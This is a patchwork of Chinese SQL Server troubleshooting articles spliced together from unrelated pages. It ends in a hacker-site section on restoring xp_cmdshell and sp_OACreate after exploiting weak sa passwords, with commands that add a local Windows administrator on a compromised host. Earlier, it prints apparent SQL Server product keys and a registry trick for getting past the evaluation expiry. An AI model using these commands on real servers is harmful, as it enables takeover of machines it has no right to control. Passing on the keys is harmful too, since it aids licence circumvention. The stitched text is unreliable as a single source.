SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问”
- 格式:rtf
- 大小:68.65 KB
- 文档页数:6
问题一、尚未注册OLE DB 访问接口"Microsoft.ACE.OLEDB.12.0"。
尚未注册OLE DB 访问接口"Microsoft.ACE.OLEDB.12.0"。
提示:消息7403,级别16,状态1,第2 行尚未注册OLE DB 访问接口需下载安装此软件:AccessDatabaseEngine_X64问题二消息15281,级别16,状态1,第1 行SQL Server 阻止了对组件'Ad Hoc Distributed Queries' 的STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用sp_configure 启用'Ad Hoc Distributed Queries'。
有关启用'Ad Hoc Distributed Queries' 的详细信息,请参阅SQL Server 联机丛书中的"外围应用配置器"。
请在查询中执行以下代码exec sp_configure 'show advanced options',1reconfigureexec sp_configure 'Ad Hoc Distributed Queries',1reconfigure消息:配置选项'show advanced options' 已从0 更改为1。
请运行RECONFIGURE 语句进行安装。
配置选项'Ad Hoc Distributed Queries' 已从0 更改为1。
请运行RECONFIGURE 语句进行安装。
[sql异常]SQLServer阻⽌了对组件AdHocDistributedQueries的//执⾏远程数据库表查询select*from openrowset( 'SQLOLEDB', '192.168.5.547'; 'sa'; '密码',[数据库名称].[dbo].[表名])出现异常:消息15281,级别 16,状态 1,第 1⾏SQL Server 阻⽌了对组件'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的⼀部分⽽被关闭。
系统管理员可以通过使⽤ sp_configure 启⽤ 'Ad Hoc Distributed Queries'。
有关启⽤ 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应⽤配置器"。
利⽤沙盒模式失败时需要⽤到,解决⽅法://启⽤Ad Hoc Distributed Queries:exec sp_configure 'show advanced options',1reconfigureexec sp_configure 'Ad Hoc Distributed Queries',1reconfigure//关闭Ad Hoc Distributed Queries:exec sp_configure 'Ad Hoc Distributed Queries',0reconfigureexec sp_configure 'show advanced options',0reconfiguresp_addlinkedserver创建⼀个链接的服务器,使其允许对分布式的、针对 OLE DB 数据源的异类查询进⾏访问。
mysql表结构禁⽌修改_SQLServer阻⽌保存修改表结构的解决
⽅法
在我们的程序开发中,有时候会由于需求的变化⽽要修改数据库中的表结构。
可能是增减列,也可能是修改数据类型,或者修改列名等等。
但修改表结构是个危险操作,默认情况下,当你修改表结构时,会弹出如下提⽰框
上图是修改DeUser表中列的数据类型(从varchar修改为int),然后保存时弹出的提⽰框。
如果我们不想重新创建这张表,只是想在原有的基础上修改它的结构该怎么办呢?
步骤如下:
步骤1.打开SQL Server Management Studio
步骤2.选择Tools (⼯具菜单)
步骤3.选择Options (选项)
步骤4.找到Designers (设计器)
步骤5.选择Designers下的Table and Database Designers (表和数据库设计器)
步骤6.去掉右边的勾选项Prevent saving changes that require table re-creation
步骤7.保存
具体细节如下图所⽰:
建议初学数据库的朋友在使⽤的时候取消这个选项,⽅式是在Management Studio⾥找菜单栏上的"⼯具"然后点击下⾯的选项,在出现的下⾯的这个界⾯中展开Designers,选中"表设计器和数据库设计器",把"阻⽌保存要求重新创建表的更改"前⾯的勾打掉。
以上就是SQL Server 阻⽌保存要求重新创建表的更改问题的设置⽅法,希望对⼤家有所帮助,谢谢⼤家的阅读。
Sql Server服务远程过程调用失败解决Sql Server服务远程过程调用失败解决问题:今天SQL数据库登录不上,提示以下错误:启动SQL Server配置管理器,发现如下问题(配置环境:win7旗舰版x64,SqlServer2008R2,同时安装VS2012):以前出现过这个问题,那时候是因为把实例安装在了D盘,后来D盘被格式化了。
然后,这些就没了。
今天早上打开电脑,竟然又出现这个问题,可是Server2008R2全部装在C盘了呢。
解决方法:最后查找解决方法,发现故障原因为:安装Visual Studio 2012的时候,自动安装“Microsoft SQL Server 2012 Express LocalDB”服务,导致原本的SQL2008无法正常工作。
那么解决方法如下:①方法一:打开控制面板,找到程序->卸载程序,把”Microsoft SQL Server 2012 Express LocalDB”卸载掉,然后打开SQL Server 配置管理器,显示一切正常就OK了。
但我的VS2012已经安装半个多月了,怎么今天才出现这个问题?②方法二:升级SqlServer2008R2为SP1或者SP2。
但是现在急用,我的实例还在,只是没有启动而已,就尝试如下方法:右击“计算机”→“管理”→“服务”,找到SQL Server(MSSQLSERVER),右击,选择“启动”。
再登录数据库,没有问题了。
但是重新启动系统后,问题会依旧的。
总结:想要永久解决该问题还得用上面的方法。
为防万一,最好进去把自己的数据库备份出来,或者创建一个系统还原点,然后再去尝试。
总的来说,上面的两种方法原因都是因为微软的兼容性问题,或者卸载新的回去旧版本,或者升级成为新版本。
所以,本人已经通过第二种方法,完美实现正常。
SQLServer服务起不了转载1、IP地址配置不正确:打开 Microsoft SQL Server 2005配置⼯具下的SQL Server Configuration Manager,选择MSSQLSERVER协议, 然后双击右边窗⼝的TCP/IP,在弹出窗⼝中检查IP配置。
2、可能是因为VIA协议启⽤造成的。
解决⽅法如下:1)打开SQL Server 2008中的配置⼯具SQL Server Configure Manager,将VIA协议禁⽤.2)重新启动SQL Server(MSSQLSERVER ),成功.3、管理员密码修改也会造成sqlserver服务⽆法启动。
解决⽅法如下:打开 Microsoft SQL Server 2005配置⼯具下的SQL Server Configuration Manager,在MSSQLSERVER服务属性中,修改以哪个账号来启动服务。
4. 安装的是SQL Server 评估版,180天的试⽤期后,MSSQLSERVER服务就⽆法启动,⼿动启动就报告17051错误。
解决办法:第⼀步:进⼊SQL2008配置⼯具中的安装中⼼,第⼆步:再进⼊维护界⾯,选择版本升级,第三步:进⼊产品密钥,输⼊密钥Developer: PTTFM-X467G-P7RH2-3Q6CG-4DMYBEnterprise: JD8Y6-HQG69-P9H84-XDTPG-34MBB第四步:⼀直点下⼀步,直到升级完毕。
⽤key升级成功后即可启动MSSQLSERVER服务。
如果启动SQL SERVER管理器依然报告过期错误,则将注册表HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\Microsoft SQL Server\100\ConfigurationState,将其中CommonFiles的键值改为3。
然后再重复以上四个步骤,进⾏升级就OK了。
在以上解决都不管⽤时,只能重新安装了。
解决sql账户sa登录失败的方法-回复解决SQL 账户sa 登录失败的方法引言:在SQL Server 中,系统管理员(sa)账户是一个具有最高权限的账户,可以访问和管理数据库服务器中的所有资源。
然而,有时我们可能会遇到sa 登录失败的问题,这可能导致无法正常访问和管理数据库。
本文将逐步介绍如何解决这个问题,以确保sa 账户登录成功。
第一步:确认问题首先,我们需要确认sa 账户登录失败的原因。
在许多情况下,这是由于以下几个常见原因之一所导致的:1. 忘记sa 密码:如果您已经使用sa 账户很长时间,可能会忘记密码。
在这种情况下,您需要重置sa 的密码。
2. sa 账户被禁用:有时,出于安全原因,管理员可能会禁用sa 账户。
您需要确保sa 账户处于启用状态。
3. SQL Server 服务未启动:如果SQL Server 服务未启动,则无法正常登录sa 账户。
您需要确保SQL Server 服务正在运行。
第二步:重置sa 密码如果您忘记了sa 账户的密码,您需要重置它。
以下是一些方法可帮助您重置sa 密码:1. 使用SQL Server Management Studio(SSMS):如果您有访问SQL Server 的管理工具(如SSMS),您可以使用该工具来重置sa 密码。
打开SSMS,选择要连接的服务器,右键单击服务器名称,选择“属性”。
在“常规”选项卡上,找到“安全性”选项,然后选择“SQL Server 和Windows 验证模式”。
点击确定后,回到对象资源管理器窗口,依次选择服务器-> 安全性-> 登录。
右键单击sa 账户,选择“属性”。
在“一般”选项卡上,可以找到“密码”框,输入新密码并确认。
保存更改后,使用新密码进行sa 登录。
2. 使用Transact-SQL(T-SQL):如果您无法访问SSMS,您可以使用T-SQL 来重置sa 密码。
打开SQL Server Management Studio 或任何T-SQL 编辑器,连接到SQL Server 实例。
SQL数据库安装过程问题解决SQL Server 2000有四个正式版本:企业版/标准版/个人版/开发版问题1 安装数据库的时候提示下面的对话框,确定以后在安装定义的窗口“服务器和客户端工具”是灰的,只能选择仅安装客户端工具。
解决方法a).SQL server不同版本的安装与操作系统是否支持直接有关。
b).SQL server 2000以前的版本,例如7.0一般不存在多个版本,只有标准版跟桌面版。
用户如果不清楚该装什么版本的话,可按安装上的安装先决条件指示安装,一般在WIN2000 服务器版上装标准版,其他的系统装桌面版的就可以。
Windows 2000 的Server版本,可以安装SQL Server 2000的任何版本,Professional版本只能安装SQL Server 2000的个人版、开发版、评估版、MCDE。
所以,操作系统可能是Home版本,不支持SQL Server 2000的企业版本,选择安装个人版就可以了。
c).PS: XP Professional SP2,不支持SQL企业版。
d).SQL Server 2000 企业版(必须在WIN 2000 SERVER服务器版本上安装)作为生产数据库服务器使用。
支持SQL Server 2000中的所有可用功能,并可根据支持最大的Web 站点和企业联机事务处理(OLTP)及数据仓库系统所需的性能水平进行伸缩。
e).SQL Server 2000标准版(必须在WIN2000 SERVER服务器版本上安装)作为小工作组或部门的数据库服务器使用。
f).SQL Server 2000 个人版(可以在WINXP上安装)供移动的用户使用,这些用户有时从网络上断开,但所运行的应用程序需要SQL Server数据存储。
在客户端计算机上运行需要本地SQL Server数据存储的独立应用程序时也使用个人版。
g).SQL Server 2000开发版(可以在WINXP上安装)供程序员用来开发将SQL Server 2000用作数据存储的应用程序。
sqlserver数据库连接失败错误及解决⽅法SQL Server数据库连接失败错误及解决⽅法在使⽤SQL Server 的过程中,⽤户遇到的最多的问题莫过于连接失败了。
⼀般⽽⾔,有以下两种连接SQL Server 的⽅式,⼀是利⽤SQL Server ⾃带的客户端⼯具,如企业管理器、查询分析器、事务探查器等;⼆是利⽤⽤户⾃⼰开发的客户端程序,如ASP 脚本、VB程序等,客户端程序中⼜是利⽤ODBC 或者OLE DB 等连接SQL Server。
下⾯,我们将就这两种连接⽅式,具体谈谈如何来解决连接失败的问题。
⼀、客户端⼯具连接失败在使⽤SQL Server ⾃带的客户端⼯具(以企业管理器为例)连接SQL Server时,最常见的错误有如下⼀些:1、SQL Server 不存在或访问被拒绝ConnectionOpen (Connect())2、⽤户'sa'登录失败。
原因:未与信任SQL Server 连接相关联。
3、超时已过期。
下⾯我们依次介绍如何来解决这三个最常见的连接错误。
第⼀个错误"SQL Server 不存在或访问被拒绝"通常是最复杂的,错误发⽣的原因⽐较多,需要检查的⽅⾯也⽐较多。
⼀般说来,有以下⼏种可能性:1、SQL Server名称或IP地址拼写有误;2、服务器端⽹络配置有误;3、客户端⽹络配置有误。
要解决这个问题,我们⼀般要遵循以下的步骤来⼀步步找出导致错误的原因。
⾸先,检查⽹络物理连接:ping <服务器IP地址>或者ping <服务器名称>如果ping <服务器IP地址> 失败,说明物理连接有问题,这时候要检查硬件设备,如⽹卡、HUB、路由器等。
还有⼀种可能是由于客户端和服务器之间安装有防⽕墙软件造成的,⽐如ISA Server。
防⽕墙软件可能会屏蔽对ping、telnet 等的响应,因此在检查连接问题的时候,我们要先把防⽕墙软件暂时关闭,或者打开所有被封闭的端⼝。
SQL Server服务停止的处理方法一、概述1. SQL Server是一种关系型数据库管理系统,广泛应用于企业级数据处理和管理。
然而,在实际应用中,由于各种原因,SQL Server服务有可能会出现停止运行的情况,给数据处理和管理带来一定的困扰。
2. 本文将介绍SQL Server服务停止的常见原因和处理方法,帮助用户快速有效地解决SQL Server服务停止的问题,确保数据的正常运行。
二、SQL Server服务停止的常见原因1. 服务器故障:包括硬件故障、操作系统故障等,导致SQL Server服务停止运行。
2. 服务崩溃:由于未知原因,SQL Server服务发生崩溃,导致服务停止。
3. 系统资源不足:服务器资源不足,如内存、硬盘空间等,导致SQL Server服务停止。
4. 网络问题:网络故障、防火墙设置等导致SQL Server无法正常运行。
5. 人为操作失误:误操作或者不当设置也可能导致SQL Server服务停止。
三、SQL Server服务停止的处理方法1. 检查系统日志(1)在Windows系统中,按下Win+R键打开运行窗口,输入eventvwr命令,打开系统事件查看器。
(2)在系统事件查看器中,选择“Windows日志”->“应用程序”,查看SQL Server的相关日志,寻找服务停止的原因。
(3)根据系统日志中的信息,分析服务停止的原因,进行相应的处理和调整。
2. 重新启动SQL Server服务(1)在Windows系统中,按下Win+R键打开运行窗口,输入services.msc命令,打开服务管理器。
(2)在服务管理器中,找到SQL Server相关的服务,右键点击选择“重启”或“启动”选项,重新启动SQL Server服务。
3. 检查系统资源(1)使用任务管理器等工具,检查服务器的CPU、内存、硬盘等资源使用情况,确保系统资源充足。
(2)根据资源检查结果,进行相应的优化和调整,释放系统资源,确保SQL Server服务能够正常运行。
登录提示"sql不存在或拒绝访问"
登录提示sql不存在或拒绝访问
处理方法:
一、数据库是默认实例名
1、电脑右下角有没有sql数据库服务器图标(如下图所示的服务器图标)
2、如果没有就在开始——运行——输入sqlmangr,点确定之后看下会不会启动SQL服务器管理器?——如果打开了点击开始/继续的按钮,如果开始继续是灰色的您看下面显示正在运行然后您在登录试一下呢。
如提示系统找不到文件,说明您电脑上没有安装sql数据库软件,需要下载安装。
3、如果已经有了就在右下角找到管家婆服务器(如下图图所示的图标)点右键,选择设置数据库链接参数,将服务器里面改为一个点并确定,设置之后在登录软件试试。
二、数据库不是默认实例名
. 1、双击电脑右下角带绿色三角箭头的图标——将数据库的服务器名称复制一下(一般如果是默认实例名的话服务器里面就是计算机名,如果不是默认实例的话服务器里面就是计算机名/实例名,如果是其他版本数据库,打开数据库连接的界面复制服务器里面的实例名)
2、然后右键单击电脑桌面上的管家婆图标——属性——查找目标/打开文件位置——右键单击config.cfg这个文件——打开方式——记事本——将之前复制的数据库服务器名称粘贴到config.cfg里的servername=后
设置好之后保存一下这个记事本文件在重新打开软件。
对于服务器上数据的备份工作是网管员日常工作中最重要的工作之一,SQLServerAgent服务使得我们可以用SQL上的“数据库维护计划”功能来自动备份数据,但最近我发现服务器上SQLServerAgent 服务无法启动了,回想最近所做的操作,原来是因为我把SQL中Builtin/Administrators这个帐号的服务器访问权限禁止掉了,因为这个帐号的存在对于SQL来说很不安全,但又不想删除,因此把它的权限禁止,结果导致SQLServerAgent服务无法启动。
解决的方法很简单,只要删除这个帐号,再建一个同时具有系统管理权限和SQL管理权限的用户,然后用这个用户去启动SQLServerAgent服务就可以了。
以下是操作步骤:1、打开企业管理器,打开左边的实例->安全性->登录,在右边空白处右击鼠标,选“新建登录”,单击“名称:”右边的按钮,会出现很多帐号名,选择一个具有windows超级管理员权限的用户(如Administrator),单击“添加”,再在“服务器角色”标签中选中“System Administrators”打勾,确定。
2、打开企业管理器左边的“管理”,右击“SQLServer代理”,选属性->常规->服务启动帐户,选“本帐户”,然后在旁边输入刚才所建的帐户和密码(例如:.\Administrator),密码是此用户的密码,确定。
3、最后,右击“SQLServer代理”,选“启动”,就能看到Agent成功启动了。
系统用户administrator 密码改变后,注销重新登录,发现SQL Server没有随机启动。
手动从服务管理器中启动,提示“由于登录失败而无法启动服务”。
原因:安装SQL Server时是使用默认登录用户来作为启动SQL Server服务的账号(对于自己使用的单机,通常就是administrator),当该用户更改了用户名(如把administrator改成admin)或更改了其口令时,再次启动服务器,就出现“同于登录失败而无法启动服务”的错误了。
SQLServer配置管理器”远程过程调⽤失败“的问题解决
出现如下错误:
由于服务器上安装了SQLServer2008,然后再安装了VS2015
解决⽅案⼀:
由于安装VS2015会默认把【Microsoft SQL Server 2014 Express LocalDB】也⼀起安装上
只要在控制⾯板把上⾯的卸载掉即可。
同样,VS2012以上的也基本类似,对应的是【Microsoft SQL Server 2012 Express LocalDB】,只是版本没那么新⽽已。
但是,有些电脑即使卸载之后也是不⾏的。
请试下⽅案⼆
解决⽅案⼆:
同上,经过测试发现安装VS2015之后,除了多出上⾯的提到的,还会多出⼀个【Microsoft SQL Server 2016 LocalDB】的,同样,只要把它卸载掉,问题解决。
最后发现,只要是LocalDB的全部都删除。
最后,成功解决。
最后我发现2008 R2还是有⼀些BUG的,⽐如上⾯这些问题,只要升级2012以上的版本可以解决。
还有就是当⽤户的计算机名改名后,像任务计划、发布订阅等这些功能就⽆法使⽤,还在寻求解决办法。
怎么解决限制访问SQLServer的IP地址呢
大家知道怎幺解决限制访问SQLServer的IP地址吗?下面我们就给大家详细介绍一下吧!我们积累了一些经验,在此拿出来与大家分享下,请大家互相指正。
解决方法:可以直接在防火墙中做限制,只允许与指定的IP地址建立1433的通讯。
当然,从更为安全的角度来考虑,应该把1433端口改成其他的端口。
其他解决方法1(限从指定IP接入的客户端):如果使用SQLServer2005,还可以通过端点限制的方法来实现,此方法要求一块专门的网卡,所有可以连接SQLServer的客户端均通过此网卡接入(假设此网卡的IP是192.168.1.1):
1.在SQL Server配置管理器”的SQLServer2005网络配置中”,禁止除TCP/IP之外的所有协议;
2.使用如下的T-SQL禁止默认的TCP端点
!--
Code highlighting produced byActiproCodeHighlighter(freeware)
-->; ALTER ENDPOINT [TSQL Default TCP]。
SQL Server 安装不成功解决办法一、出现“配置服务器失败,请参考系统日志说明”和安装过程进度条退回。
原因:系统配置不符合Microsoft SQL Server Desktop Engine安装要求。
解决办法:MSDE 2000 要求安装Microsoft Internet Explorer 5.0 或更高版本。
最小安装便已足够,Internet Explorer 不必是默认浏览器。
(1)控制面板”中,双击“网络连接”。
(2)在“高级”菜单中,单击“高级设置”。
(3)在“适配器和绑定”选项卡上,确定选中了“Microsoft网络的文件和打印机共享”。
如果下列任一安全策略已被设置为“禁止安装”,则MSDE 2000 安装将失败:●Windows XP 的本地安全策略“设备:未签名驱动程序的安装操作”。
●Windows 2000 的本地安全策略“未签名非驱动程序的安装操作”。
如果使用了“禁止安装”设置,则必须在安装MSDE 2000 之前将该设置更改为“默认继续”。
如有必要,可以在完成安装之后将该策略还原为以前的设置。
说明“禁止安装”不是这些安全策略的默认设置。
要设置这些策略,请执行下列操作:1、在“控制面板”中,双击“管理工具”。
2、双击“本地安全策略”。
3、展开“本地策略”。
选中“安全选项”。
确保在安装MSDE 2000 之前,右窗格中的下列选项被设置为“默认继续”:对于Windows NT 和Windows 2003:“设备:未签名驱动程序的安装操作”。
对于Windows 2000:“未签名非驱动程序的安装操作”。
重新安装前将已经安装的sqlserver目录删除。
二、出现“指定的实例名无效”原因:将SQL Server没有从添加删除程序中删除。
并将已经安装的sqlserver目录删除。
也有可能你的某项服务不能启动,导致安装失败!在重新安装前配置服务一下服务!解决办法:1.请重新启动以下服务:COM+ System Application、Application Management、 State Service、Distributed Transaction Coordinator、HTTP SSL、Remote Procedure Call (RPC) Locator 做法:开始->运行->services.msc 到右边一个找吧将其属性改为“自动”,已经是自动的,就不要改了,改完了,再点击启动服务!MSDE和sql问题集一、装了sql server 以后能否安装msde?装了sql server 以后不需要安装msde数据库。
SQLServer作业失败:⽆法确定所有者是否有服务器访问权限的解决⽅法⼀、错误提⽰:该作业失败。
⽆法确定所有者 WIN-3TH1KNIT12D\Administrator (拥有作业 Database_Backup.step1)是否有服务器访问权限(原因: ⽆法获取有关 Windows NT 组/⽤户 'WIN-3TH1KNIT12D\Administrator' 的信息,错误代码 0x534。
[SQLSTATE 42000] (错误 15404)).⼆、说明:更改作业计划的所有者,不是数据库所有者三、解决⽅法:下⾯是其他⽹友的补充⽅法下午准备将服务器数据导⼀份到本地,连上服务器找数据库备份⽂件发现最后⼀次备份是7⽉1⽇,竟然⼗⼏天没⽣成新备份,查看作业历史记录,错误信息如下:该作业失败。
⽆法确定所有者 WIN-3TH1KNIT12D\Administrator (拥有作业 Database_Backup.step1)是否有服务器访问权限 (原因: ⽆法获取有关 Windows NT 组/⽤户 'WIN-3TH1KNIT12D\Administrator' 的信息,错误代码 0x534。
[SQLSTATE 42000] (错误 15404)).这应是上次重命名系统管理员帐户导致的,尝试重新选择作业所有者和重建作业,都不好⽤,最终将所有者更改为NT AUTHORITY\SYSTEM,作业成功执⾏。
说明:因是服务器,上次重命名系统管理员帐户后系统未重启,发现SQL Server 2008 R2登录名仍是旧的Administrator,不知重启系统会不会修复,待下次重启时观察下。
说明:更改作业计划的所有者,不是数据库所有者调⽤存储过程来备份,测试通过--备份数据库CREATE PROC [dbo].[P_DBBACKUP2Path](@dbPath NVARCHAR(200) , --备份⽂件存放路径,最后带/@DbName VARCHAR(50) --要备份的数据库名称)ASSELECT @dbPath = @dbPath + @DbName + '_' + CONVERT(VARCHAR(20), GETDATE(), 112)+ REPLACE(CONVERT(VARCHAR(20), GETDATE(), 108), ':', '') + '.bak'BACKUP DATABASE @DbNameTO DISK = @dbPath WITH NOINIT , NOUNLOAD , NOSKIP , STATS = 10, NOFORMAT调⽤:exec P_DBBACKUP2Path 'x:\dbBackup\', 'dbname'到此这篇关于SQL Server作业失败:⽆法确定所有者是否有服务器访问权限的解决⽅法的⽂章就介绍到这了,更多相关⽆法确定所有者是否有服务器访问权限内容请搜索以前的⽂章或继续浏览下⾯的相关⽂章希望⼤家以后多多⽀持!。
SQLServer作业调⽤链接服务器失败解决办法
启动SQLServerAgent服务,建⽴⼀个作业,步骤执⾏上述的存储过程,并设定执⾏调度。
作业执⾏后,可以看到作业失败了,在作业历史中看到如下消息:
已以⽤户 NT AUTHORITY\SYSTEM 的⾝份执⾏。
链接服务器 "TEST" 的 OLE DB 访问接⼝
"SQLNCLI" 报错。
⾝份验证失败。
[SQLSTATE 42000] (错误 7399) ⽆法初始化链接服务器
"TEST" 的 OLE DB 访问接⼝ "SQLNCLI" 的数据源对象。
[SQLSTATE 42000] (错误 7303) 链
接服务器"TEST"的 OLE DB 访问接⼝ "SQLNCLI" 返回了消息 "⽆效的授权说明"。
[SQLSTATE
01000] (错误 7412). 该步骤失败。
原因为未设定登录验证信息,解决⽅案为:
打开链接服务器属性,转到安全性,添加sa账号的登录映射,或者在下⽅填写默认的登录账号信息(如图),重新执⾏作业成功。
-------------------------------------------------------------------------------------------------------------菜鸟腾飞技术交流网专业的网络安全技术培训基地(2009年1月1日最新开张目前所有培训项目全部免费)动画教程只是起到一个演示作用.请大家不用利用此方法对国内的网络做任何破坏.国人应该团结起来一致对外才是我们的责任.由此动画造成的任何后果和本站无关.-------------------------------------------------------------------------------------------------------------create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */@dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,'sp_addextendedproc')return (1)enddbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGO恢复存储过程'master..xpcmdshell':EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int卸载存储过程xp_cmdshell:sp_dropextendedproc 'xp_cmdshell'“SQL Server 阻止了对组件'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问”打开分析器,执行下面的语句-- To allow advanced options to be changed.EXEC sp_configure 'show advanced options', 1GO-- To update the currently configured value for advanced options. RECONFIGUREGO-- To enable the feature.EXEC sp_configure 'xp_cmdshell', 1GO-- To update the currently configured value for this feature. RECONFIGUREGO恢复sp_addextendedproc语句:create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,'sp_addextendedproc')return (1)enddbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGOxp_cmdshell新的恢复办法(不用去管sp_addextendedproc是不是存在)删除drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'恢复dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")1.未能找到存储过程'master..xpcmdshell'之解决方法:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'2.无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。
原因126(找不到指定模块。
)sp_dropextendedproc "xp_cmdshell"sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。
原因:127(找不到指定的程序。
)exec sp_dropextendedproc 'xp_cmdshell'exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'4.直接添加帐户法删除odsole70.dll:exec master..sp_dropextendedproc sp_oamethodexec master..sp_dropextendedproc sp_oacreate恢复odsole70.dll:exec sp_addextendedproc sp_OAMethod,'odsole70.dll'exec sp_addextendedproc sp_OACreate,'odsole70.dll'直接添加帐户命令:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名密码/add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add'5.恢复时一些常用的SQL语句:利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己):use masterexec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'exec sp_addextendedproc xp_dirtree,'xpstar.dll'exec sp_addextendedproc xp_enumgroups,'xplog70.dll'exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'exec sp_addextendedproc xp_loginconfig,'xplog70.dll'exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'exec sp_addextendedproc sp_OACreate,'odsole70.dll'exec sp_addextendedproc sp_OADestroy,'odsole70.dll'exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'exec sp_addextendedproc sp_OAMethod,'odsole70.dll'exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'exec sp_addextendedproc sp_OAStop,'odsole70.dll'exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'exec sp_addextendedproc xp_regread,'xpstar.dll'exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'exec sp_addextendedproc xp_regwrite,'xpstar.dll'exec sp_addextendedproc xp_availablemedia,'xpstar.dll'恢复cmdshell:exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'判断存储扩展是否存在(返回结果为1就ok):select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'恢复xp_cmdshell(返回结果为1就ok):exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjectswhere xtype='x' and name='xp_cmdshell'否则上传xplog7.0.dll:exec master.dbo.addextendedproc'xp_cmdshell','c:\winnt\system32\xplog70.dll'************************以下为防范时用**********************1.删除所有危险扩展:Drop PROCEDURE sp_makewebtaskexec master..sp_dropextendedproc xp_cmdshellexec master..sp_dropextendedproc xp_dirtreeexec master..sp_dropextendedproc xp_fileexistexec master..sp_dropextendedproc xp_terminate_processexec master..sp_dropextendedproc sp_oamethodexec master..sp_dropextendedproc sp_oacreateexec master..sp_dropextendedproc xp_regaddmultistringexec master..sp_dropextendedproc xp_regdeletekeyexec master..sp_dropextendedproc xp_regdeletevalueexec master..sp_dropextendedproc xp_regenumkeysexec master..sp_dropextendedproc xp_regenumvaluesexec master..sp_dropextendedproc sp_add_jobexec master..sp_dropextendedproc sp_addtaskexec master..sp_dropextendedproc xp_regreadexec master..sp_dropextendedproc xp_regwriteexec master..sp_dropextendedproc xp_readwebtaskexec master..sp_dropextendedproc xp_makewebtaskexec master..sp_dropextendedproc xp_regremovemultistringexec master..sp_dropextendedproc sp_OACreateDrop PROCEDURE sp_addextendedproc2.删除xp_cmdshell扩展:sp_dropextendedproc 'xp_cmdshell'3.修补sa弱口令:exec sp_password NULL,'新密码','sa'本篇文章来源于黑客基地-全球最大的中文黑客站原文链接:/tech/2009-09-28/56489.html扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程'master..xp_cmdshell'这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:sp_dropextendedproc "xp_cmdshell"就执行不了DOS命令了,当然用上面的语句可以复原。